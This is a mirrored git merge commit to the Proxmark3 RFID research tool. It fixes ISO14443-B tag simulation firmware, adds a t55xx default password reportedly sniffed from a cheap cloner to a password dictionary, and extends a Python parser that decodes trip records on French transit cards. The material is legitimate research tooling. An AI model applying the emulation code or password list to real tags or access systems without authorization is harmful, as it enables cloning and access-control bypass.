mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-08-21 13:53:55 -07:00
Merge branch 'RfidResearchGroup:master' into master
This commit is contained in:
commit
dfe5ebbdd0
9 changed files with 990 additions and 221 deletions
|
@ -3,6 +3,12 @@ All notable changes to this project will be documented in this file.
|
||||||
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
|
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
|
||||||
|
|
||||||
## [unreleased][unreleased]
|
## [unreleased][unreleased]
|
||||||
|
- Fixed a bad memory erase (@iceman1001)
|
||||||
|
- Fixed BT serial comms (@iceman1001)
|
||||||
|
- Changed `intertic.py` - updated and code clean up (@gentilkiwi)
|
||||||
|
- Added `pm3_tears_for_fears.py` - a ISO14443b tear off script by Pierre Granier
|
||||||
|
- Added new t55xx password (002BCFCF) sniffed from cheap cloner (@davidbeauchamp)
|
||||||
|
- Fixed 'hf 14b sim' - now works (@michi-jung)
|
||||||
|
|
||||||
## [Aurora.4.18589][2024-05-28]
|
## [Aurora.4.18589][2024-05-28]
|
||||||
- Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001)
|
- Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001)
|
||||||
|
|
|
@ -186,7 +186,7 @@
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
// 4sample
|
// 4sample
|
||||||
#define SEND4STUFFBIT(x) tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x);
|
#define SEND4STUFFBIT(x) tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x));
|
||||||
|
|
||||||
static void iso14b_set_timeout(uint32_t timeout_etu);
|
static void iso14b_set_timeout(uint32_t timeout_etu);
|
||||||
static void iso14b_set_maxframesize(uint16_t size);
|
static void iso14b_set_maxframesize(uint16_t size);
|
||||||
|
@ -702,10 +702,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) {
|
||||||
// Signal field is off with the appropriate LED
|
// Signal field is off with the appropriate LED
|
||||||
LED_D_OFF();
|
LED_D_OFF();
|
||||||
|
|
||||||
|
// TR0: min - 1024 cycles = 75.52 us - max 4096 cycles = 302.08 us
|
||||||
|
SpinDelayUs(76);
|
||||||
|
|
||||||
// Modulate BPSK
|
// Modulate BPSK
|
||||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK);
|
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK);
|
||||||
AT91C_BASE_SSC->SSC_THR = 0xFF;
|
|
||||||
FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR);
|
|
||||||
|
|
||||||
// Transmit the response.
|
// Transmit the response.
|
||||||
for (uint16_t i = 0; i < len;) {
|
for (uint16_t i = 0; i < len;) {
|
||||||
|
@ -713,6 +714,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) {
|
||||||
// Put byte into tx holding register as soon as it is ready
|
// Put byte into tx holding register as soon as it is ready
|
||||||
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) {
|
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) {
|
||||||
AT91C_BASE_SSC->SSC_THR = response[i++];
|
AT91C_BASE_SSC->SSC_THR = response[i++];
|
||||||
|
|
||||||
|
// Start-up SSC once first byte is in SSC_THR
|
||||||
|
if (i == 1) {
|
||||||
|
FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -771,7 +777,7 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
|
||||||
static const uint8_t respOK[] = {0x00, 0x78, 0xF0};
|
static const uint8_t respOK[] = {0x00, 0x78, 0xF0};
|
||||||
|
|
||||||
uint16_t len, cmdsReceived = 0;
|
uint16_t len, cmdsReceived = 0;
|
||||||
int cardSTATE = SIM_NOFIELD;
|
int cardSTATE = SIM_POWER_OFF;
|
||||||
int vHf = 0; // in mV
|
int vHf = 0; // in mV
|
||||||
|
|
||||||
const tosend_t *ts = get_tosend();
|
const tosend_t *ts = get_tosend();
|
||||||
|
@ -801,16 +807,18 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
|
||||||
}
|
}
|
||||||
|
|
||||||
// find reader field
|
// find reader field
|
||||||
if (cardSTATE == SIM_NOFIELD) {
|
|
||||||
|
|
||||||
vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15;
|
vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15;
|
||||||
if (vHf > MF_MINFIELDV) {
|
if (vHf > MF_MINFIELDV) {
|
||||||
|
if (cardSTATE == SIM_POWER_OFF) {
|
||||||
cardSTATE = SIM_IDLE;
|
cardSTATE = SIM_IDLE;
|
||||||
LED_A_ON();
|
LED_A_ON();
|
||||||
}
|
}
|
||||||
|
} else {
|
||||||
|
cardSTATE = SIM_POWER_OFF;
|
||||||
|
LED_A_OFF();
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cardSTATE == SIM_NOFIELD) {
|
if (cardSTATE == SIM_POWER_OFF) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -820,75 +828,87 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
// ISO14443-B protocol states:
|
|
||||||
// REQ or WUP request in ANY state
|
|
||||||
// WUP in HALTED state
|
|
||||||
if (len == 5) {
|
|
||||||
if (((receivedCmd[0] == ISO14443B_REQB) && ((receivedCmd[2] & 0x08) == 0x08) && (cardSTATE == SIM_HALTED)) ||
|
|
||||||
(receivedCmd[0] == ISO14443B_REQB)) {
|
|
||||||
|
|
||||||
LogTrace(receivedCmd, len, 0, 0, NULL, true);
|
LogTrace(receivedCmd, len, 0, 0, NULL, true);
|
||||||
cardSTATE = SIM_SELECTING;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* How should this flow go?
|
|
||||||
* REQB or WUPB
|
|
||||||
* send response ( waiting for Attrib)
|
|
||||||
* ATTRIB
|
|
||||||
* send response ( waiting for commands 7816)
|
|
||||||
* HALT
|
|
||||||
send halt response ( waiting for wupb )
|
|
||||||
*/
|
|
||||||
|
|
||||||
|
if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && (receivedCmd[2] & 0x08)) {
|
||||||
|
// WUPB
|
||||||
switch (cardSTATE) {
|
switch (cardSTATE) {
|
||||||
//case SIM_NOFIELD:
|
case SIM_IDLE:
|
||||||
case SIM_HALTED:
|
case SIM_READY:
|
||||||
case SIM_IDLE: {
|
case SIM_HALT: {
|
||||||
LogTrace(receivedCmd, len, 0, 0, NULL, true);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
case SIM_SELECTING: {
|
|
||||||
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
|
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
|
||||||
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
|
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
|
||||||
cardSTATE = SIM_WORK;
|
cardSTATE = SIM_READY;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case SIM_HALTING: {
|
case SIM_ACTIVE:
|
||||||
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
|
default: {
|
||||||
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
|
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
|
||||||
cardSTATE = SIM_HALTED;
|
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case SIM_ACKNOWLEDGE: {
|
}
|
||||||
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
|
} else if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && !(receivedCmd[2] & 0x08)) {
|
||||||
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
|
// REQB
|
||||||
cardSTATE = SIM_IDLE;
|
switch (cardSTATE) {
|
||||||
|
case SIM_IDLE:
|
||||||
|
case SIM_READY: {
|
||||||
|
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
|
||||||
|
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
|
||||||
|
cardSTATE = SIM_READY;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case SIM_WORK: {
|
case SIM_ACTIVE: {
|
||||||
if (len == 7 && receivedCmd[0] == ISO14443B_HALT) {
|
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
|
||||||
cardSTATE = SIM_HALTED;
|
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
|
||||||
} else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) {
|
|
||||||
cardSTATE = SIM_ACKNOWLEDGE;
|
|
||||||
} else {
|
|
||||||
// Todo:
|
|
||||||
// - SLOT MARKER
|
|
||||||
// - ISO7816
|
|
||||||
// - emulate with a memory dump
|
|
||||||
if (g_dbglevel >= DBG_DEBUG) {
|
|
||||||
Dbprintf("new cmd from reader: len=%d, cmdsRecvd=%d", len, cmdsReceived);
|
|
||||||
}
|
|
||||||
|
|
||||||
cardSTATE = SIM_IDLE;
|
|
||||||
}
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case SIM_HALT:
|
||||||
default: {
|
default: {
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
} else if ((len == 7) && (receivedCmd[0] == ISO14443B_HALT)) {
|
||||||
|
// HLTB
|
||||||
|
switch (cardSTATE) {
|
||||||
|
case SIM_READY: {
|
||||||
|
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
|
||||||
|
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
|
||||||
|
cardSTATE = SIM_HALT;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case SIM_IDLE:
|
||||||
|
case SIM_ACTIVE: {
|
||||||
|
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
|
||||||
|
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case SIM_HALT:
|
||||||
|
default: {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) {
|
||||||
|
// ATTRIB
|
||||||
|
switch (cardSTATE) {
|
||||||
|
case SIM_READY: {
|
||||||
|
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
|
||||||
|
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
|
||||||
|
cardSTATE = SIM_ACTIVE;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case SIM_IDLE:
|
||||||
|
case SIM_ACTIVE: {
|
||||||
|
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
|
||||||
|
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case SIM_HALT:
|
||||||
|
default: {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
++cmdsReceived;
|
++cmdsReceived;
|
||||||
}
|
}
|
||||||
|
|
|
@ -49,12 +49,10 @@ void SniffIso14443b(void);
|
||||||
void SendRawCommand14443B(iso14b_raw_cmd_t *p);
|
void SendRawCommand14443B(iso14b_raw_cmd_t *p);
|
||||||
|
|
||||||
// States for 14B SIM command
|
// States for 14B SIM command
|
||||||
#define SIM_NOFIELD 0
|
#define SIM_POWER_OFF 0
|
||||||
#define SIM_IDLE 1
|
#define SIM_IDLE 1
|
||||||
#define SIM_HALTED 2
|
#define SIM_READY 2
|
||||||
#define SIM_SELECTING 3
|
#define SIM_HALT 3
|
||||||
#define SIM_HALTING 4
|
#define SIM_ACTIVE 4
|
||||||
#define SIM_ACKNOWLEDGE 5
|
|
||||||
#define SIM_WORK 6
|
|
||||||
|
|
||||||
#endif /* __ISO14443B_H */
|
#endif /* __ISO14443B_H */
|
||||||
|
|
|
@ -646,7 +646,7 @@ void rdv40_spiffs_safe_print_tree(void) {
|
||||||
SPIFFS_opendir(&fs, "/", &d);
|
SPIFFS_opendir(&fs, "/", &d);
|
||||||
while ((pe = SPIFFS_readdir(&d, pe))) {
|
while ((pe = SPIFFS_readdir(&d, pe))) {
|
||||||
|
|
||||||
memset(resolvedlink, 0, sizeof(resolvedlink));
|
memset(resolvedlink, 0, 11 + SPIFFS_OBJ_NAME_LEN);
|
||||||
|
|
||||||
if (rdv40_spiffs_is_symlink((const char *)pe->name)) {
|
if (rdv40_spiffs_is_symlink((const char *)pe->name)) {
|
||||||
|
|
||||||
|
|
|
@ -5,6 +5,8 @@
|
||||||
51243648
|
51243648
|
||||||
000D8787
|
000D8787
|
||||||
19920427
|
19920427
|
||||||
|
# White Chinese cloner, circa 2019, firmware v5.04.16.0727 (eBay)
|
||||||
|
002BCFCF
|
||||||
# ZX-copy3 T55xx / EM4305
|
# ZX-copy3 T55xx / EM4305
|
||||||
# ref. http://www.proxmark.org/forum/viewtopic.php?pid=40662#p40662
|
# ref. http://www.proxmark.org/forum/viewtopic.php?pid=40662#p40662
|
||||||
# default PROX
|
# default PROX
|
||||||
|
|
|
@ -21,10 +21,14 @@ import sys, os
|
||||||
from datetime import datetime, timedelta
|
from datetime import datetime, timedelta
|
||||||
from bitarray import bitarray
|
from bitarray import bitarray
|
||||||
from bitarray.util import ba2int
|
from bitarray.util import ba2int
|
||||||
|
from typing import NamedTuple
|
||||||
|
|
||||||
class BitMe:
|
class BitMe:
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.data = bitarray()
|
self.data = bitarray(endian = 'big')
|
||||||
|
self.idx = 0
|
||||||
|
|
||||||
|
def reset(self):
|
||||||
self.idx = 0
|
self.idx = 0
|
||||||
|
|
||||||
def addBits(self, bits):
|
def addBits(self, bits):
|
||||||
|
@ -47,62 +51,233 @@ class BitMe:
|
||||||
def isEmpty(self):
|
def isEmpty(self):
|
||||||
return (len(self.data) == 0)
|
return (len(self.data) == 0)
|
||||||
|
|
||||||
|
'''
|
||||||
|
A generic Describe_Usage function with variable number of bits between stamps will be more optimal
|
||||||
|
At this time I want to keep more places/functions to try to parse other fields in 'unk1' and 'left'
|
||||||
|
'''
|
||||||
|
|
||||||
|
TYPE_EventCode_Nature = {
|
||||||
|
0x1: 'urban bus',
|
||||||
|
0x2: 'interurban bus',
|
||||||
|
0x3: 'metro',
|
||||||
|
0x4: 'tramway',
|
||||||
|
0x5: 'train',
|
||||||
|
0x8: 'parking',
|
||||||
|
}
|
||||||
|
|
||||||
|
TYPE_EventCode_Type = {
|
||||||
|
0x1: 'entry validation',
|
||||||
|
0x2: 'exit validation',
|
||||||
|
0x4: 'ticket inspecting',
|
||||||
|
0x6: 'connection entry validation',
|
||||||
|
0x14: 'test validation',
|
||||||
|
0x15: 'connection exit validation',
|
||||||
|
0x16: 'canceled validation',
|
||||||
|
0x17: 'invalidation',
|
||||||
|
0x18: 'distribution',
|
||||||
|
}
|
||||||
|
|
||||||
|
TYPE_EventGeoRoute_Direction = {
|
||||||
|
0: 'undefined',
|
||||||
|
1: 'outward',
|
||||||
|
2: 'inward',
|
||||||
|
3: 'circular',
|
||||||
|
}
|
||||||
|
|
||||||
|
def Describe_Usage_1(Usage, ContractMediumEndDate, Certificate):
|
||||||
|
EventDateStamp = Usage.nom(10)
|
||||||
|
EventTimeStamp = Usage.nom(11)
|
||||||
|
unk = Usage.nom_bits(65)
|
||||||
|
EventValidityTimeFirstStamp = Usage.nom(11)
|
||||||
|
|
||||||
|
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
|
||||||
|
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
|
||||||
|
print(' unk1... :', unk);
|
||||||
|
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
|
||||||
|
print(' left... :', Usage.nom_bits_left());
|
||||||
|
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
|
||||||
|
|
||||||
|
def Describe_Usage_1_1(Usage, ContractMediumEndDate, Certificate):
|
||||||
|
EventDateStamp = Usage.nom(10)
|
||||||
|
EventTimeStamp = Usage.nom(11)
|
||||||
|
unk0 = Usage.nom_bits(8)
|
||||||
|
EventCode_Nature = Usage.nom(5)
|
||||||
|
EventCode_Type = Usage.nom(5)
|
||||||
|
unk1 = Usage.nom_bits(11)
|
||||||
|
EventGeoVehicleId = Usage.nom(16)
|
||||||
|
EventGeoRouteId = Usage.nom(14)
|
||||||
|
EventGeoRoute_Direction = Usage.nom(2)
|
||||||
|
EventCountPassengers_mb = Usage.nom(4)
|
||||||
|
EventValidityTimeFirstStamp = Usage.nom(11)
|
||||||
|
|
||||||
|
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
|
||||||
|
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
|
||||||
|
print(' unk0... :', unk0);
|
||||||
|
print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?')))
|
||||||
|
print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?')))
|
||||||
|
print(' unk1... :', unk1);
|
||||||
|
print(' GeoVehicleId : {}'. format(EventGeoVehicleId))
|
||||||
|
print(' GeoRouteId : {}'. format(EventGeoRouteId))
|
||||||
|
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
|
||||||
|
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
|
||||||
|
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
|
||||||
|
print(' left... :', Usage.nom_bits_left());
|
||||||
|
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
|
||||||
|
|
||||||
|
def Describe_Usage_1_2(Usage, ContractMediumEndDate, Certificate):
|
||||||
|
EventDateStamp = Usage.nom(10)
|
||||||
|
EventTimeStamp = Usage.nom(11)
|
||||||
|
EventCount_mb = Usage.nom(6)
|
||||||
|
unk0 = Usage.nom_bits(4)
|
||||||
|
EventCode_Nature_mb = Usage.nom(4)
|
||||||
|
EventCode_Type_mb = Usage.nom(4)
|
||||||
|
unk1 = Usage.nom_bits(11)
|
||||||
|
EventGeoVehicleId = Usage.nom(16)
|
||||||
|
EventGeoRouteId = Usage.nom(14)
|
||||||
|
EventGeoRoute_Direction = Usage.nom(2)
|
||||||
|
EventCountPassengers_mb = Usage.nom(4)
|
||||||
|
EventValidityTimeFirstStamp = Usage.nom(11)
|
||||||
|
|
||||||
|
TYPE_EventCode_Nature_Reims = { # usually it's the opposite, but ... ?
|
||||||
|
0x4: 'urban bus',
|
||||||
|
0x1: 'tramway',
|
||||||
|
}
|
||||||
|
|
||||||
|
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
|
||||||
|
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
|
||||||
|
print(' Count(?) : {}'. format(EventCount_mb))
|
||||||
|
print(' unk0... :', unk0);
|
||||||
|
print(' Code/Nature(?) : 0x{:x} ({})'.format(EventCode_Nature_mb, TYPE_EventCode_Nature_Reims.get(EventCode_Nature_mb, '?')))
|
||||||
|
print(' Code/Type(?) : 0x{:x} ({})'.format(EventCode_Type_mb, TYPE_EventCode_Type.get(EventCode_Type_mb, '?')))
|
||||||
|
print(' unk1... :', unk1);
|
||||||
|
print(' GeoVehicleId : {}'. format(EventGeoVehicleId))
|
||||||
|
print(' GeoRouteId : {}'. format(EventGeoRouteId))
|
||||||
|
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
|
||||||
|
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
|
||||||
|
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
|
||||||
|
print(' left... :', Usage.nom_bits_left());
|
||||||
|
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
|
||||||
|
|
||||||
|
|
||||||
|
def Describe_Usage_2(Usage, ContractMediumEndDate, Certificate):
|
||||||
|
EventDateStamp = Usage.nom(10)
|
||||||
|
EventTimeStamp = Usage.nom(11)
|
||||||
|
unk0 = Usage.nom_bits(8)
|
||||||
|
EventCode_Nature = Usage.nom(5)
|
||||||
|
EventCode_Type = Usage.nom(5)
|
||||||
|
unk1 = Usage.nom_bits(11)
|
||||||
|
EventGeoRouteId = Usage.nom(14)
|
||||||
|
EventGeoRoute_Direction = Usage.nom(2)
|
||||||
|
EventCountPassengers_mb = Usage.nom(4)
|
||||||
|
EventValidityTimeFirstStamp = Usage.nom(11)
|
||||||
|
|
||||||
|
print(' DateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
|
||||||
|
print(' TimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
|
||||||
|
print(' unk0... :', unk0);
|
||||||
|
print(' Code/Nature : 0x{:x} ({})'.format(EventCode_Nature, TYPE_EventCode_Nature.get(EventCode_Nature, '?')))
|
||||||
|
print(' Code/Type : 0x{:x} ({})'.format(EventCode_Type, TYPE_EventCode_Type.get(EventCode_Type, '?')))
|
||||||
|
print(' unk1... :', unk1);
|
||||||
|
print(' GeoRouteId : {}'. format(EventGeoRouteId))
|
||||||
|
print(' Direction : {} ({})'. format(EventGeoRoute_Direction, TYPE_EventGeoRoute_Direction.get(EventGeoRoute_Direction, '?')))
|
||||||
|
print(' Passengers(?) : {}'. format(EventCountPassengers_mb))
|
||||||
|
print(' ValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
|
||||||
|
print(' left... :', Usage.nom_bits_left());
|
||||||
|
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
|
||||||
|
|
||||||
|
def Describe_Usage_3(Usage, ContractMediumEndDate, Certificate):
|
||||||
|
EventDateStamp = Usage.nom(10)
|
||||||
|
EventTimeStamp = Usage.nom(11)
|
||||||
|
unk = Usage.nom_bits(27)
|
||||||
|
EventValidityTimeFirstStamp = Usage.nom(11)
|
||||||
|
|
||||||
|
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
|
||||||
|
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
|
||||||
|
print(' unk1... :', unk);
|
||||||
|
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
|
||||||
|
print(' left... :', Usage.nom_bits_left());
|
||||||
|
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
|
||||||
|
|
||||||
|
def Describe_Usage_4(Usage, ContractMediumEndDate, Certificate):
|
||||||
|
EventDateStamp = Usage.nom(10)
|
||||||
|
EventTimeStamp = Usage.nom(11)
|
||||||
|
unk = Usage.nom_bits(63)
|
||||||
|
EventValidityTimeFirstStamp = Usage.nom(11)
|
||||||
|
|
||||||
|
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
|
||||||
|
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
|
||||||
|
print(' unk1... :', unk);
|
||||||
|
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
|
||||||
|
print(' left... :', Usage.nom_bits_left());
|
||||||
|
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
|
||||||
|
|
||||||
|
def Describe_Usage_Generic(Usage, ContractMediumEndDate, Certificate):
|
||||||
|
print(' !!! GENERIC DUMP - please provide full file dump to benjamin@gentilkiwi.com - especially if NOT empty !!!')
|
||||||
|
print(' left... :', Usage.nom_bits_left());
|
||||||
|
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
|
||||||
|
print(' !!! Trying Usage_1 (the most common) !!!')
|
||||||
|
Usage.reset()
|
||||||
|
Certificate.reset()
|
||||||
|
Describe_Usage_1(Usage, ContractMediumEndDate, Certificate)
|
||||||
|
|
||||||
|
class InterticHelper(NamedTuple):
|
||||||
|
OrganizationalAuthority: str
|
||||||
|
ContractProvider: str
|
||||||
|
UsageDescribeFunction: callable = None
|
||||||
|
|
||||||
ISO_Countries = {
|
ISO_Countries = {
|
||||||
0x250: 'France',
|
0x250: 'France',
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
FRA_OrganizationalAuthority_Contract_Provider = {
|
FRA_OrganizationalAuthority_Contract_Provider = {
|
||||||
0x000: {
|
0x000: {
|
||||||
5: 'Lille (Ilévia / Keolis)',
|
5: InterticHelper('Lille', 'Ilévia / Keolis', Describe_Usage_1_1),
|
||||||
7: 'Lens-Béthune (Tadao / Transdev)',
|
7: InterticHelper('Lens-Béthune', 'Tadao / Transdev', Describe_Usage_1_1),
|
||||||
},
|
},
|
||||||
0x006: {
|
0x006: {
|
||||||
1: 'Amiens (Ametis / Keolis)',
|
1: InterticHelper('Amiens', 'Ametis / Keolis'),
|
||||||
},
|
},
|
||||||
0x008: {
|
0x008: {
|
||||||
15: 'Angoulême (STGA)',
|
15: InterticHelper('Angoulême', 'STGA', Describe_Usage_1_1), # May have a problem with date ?
|
||||||
},
|
},
|
||||||
0x021: {
|
0x021: {
|
||||||
1: 'Bordeaux (TBM / Keolis)',
|
1: InterticHelper('Bordeaux', 'TBM / Keolis', Describe_Usage_1_1),
|
||||||
},
|
},
|
||||||
0x057: {
|
0x057: {
|
||||||
1: 'Lyon (TCL / Keolis)',
|
1: InterticHelper('Lyon', 'TCL / Keolis', Describe_Usage_1), # Strange usage ?, kept on generic 1
|
||||||
},
|
},
|
||||||
0x072: {
|
0x072: {
|
||||||
1: 'Tours (filbleu / Keolis)',
|
1: InterticHelper('Tours', 'filbleu / Keolis', Describe_Usage_1_1),
|
||||||
},
|
},
|
||||||
0x078: {
|
0x078: {
|
||||||
4: 'Reims (Citura / Transdev)',
|
4: InterticHelper('Reims', 'Citura / Transdev', Describe_Usage_1_2),
|
||||||
},
|
},
|
||||||
0x091: {
|
0x091: {
|
||||||
1: 'Strasbourg (CTS)',
|
1: InterticHelper('Strasbourg', 'CTS', Describe_Usage_4), # More dump needed, not only tram !
|
||||||
},
|
},
|
||||||
0x502: {
|
0x502: {
|
||||||
83: 'Annecy (Sibra)',
|
83: InterticHelper('Annecy', 'Sibra', Describe_Usage_2),
|
||||||
10: 'Clermont-Ferrand (T2C)',
|
10: InterticHelper('Clermont-Ferrand', 'T2C'),
|
||||||
},
|
},
|
||||||
0x907: {
|
0x907: {
|
||||||
1: 'Dijon (Divia / Keolis)',
|
1: InterticHelper('Dijon', 'Divia / Keolis'),
|
||||||
},
|
},
|
||||||
0x908: {
|
0x908: {
|
||||||
1: 'Rennes (STAR / Keolis)',
|
1: InterticHelper('Rennes', 'STAR / Keolis', Describe_Usage_2),
|
||||||
8: 'Saint-Malo (MAT / RATP)',
|
8: InterticHelper('Saint-Malo', 'MAT / RATP', Describe_Usage_1_1),
|
||||||
},
|
},
|
||||||
0x911: {
|
0x911: {
|
||||||
5: 'Besançon (Ginko / Keolis)',
|
5: InterticHelper('Besançon', 'Ginko / Keolis'),
|
||||||
},
|
},
|
||||||
0x912: {
|
0x912: {
|
||||||
3: 'Le Havre (Lia / Transdev)',
|
3: InterticHelper('Le Havre', 'Lia / Transdev', Describe_Usage_1_1),
|
||||||
35: 'Cherbourg-en-Cotentin (Cap Cotentin / Transdev)',
|
35: InterticHelper('Cherbourg-en-Cotentin', 'Cap Cotentin / Transdev'),
|
||||||
},
|
},
|
||||||
0x913: {
|
0x913: {
|
||||||
3: 'Nîmes (Tango / Transdev)',
|
3: InterticHelper('Nîmes', 'Tango / Transdev', Describe_Usage_3),
|
||||||
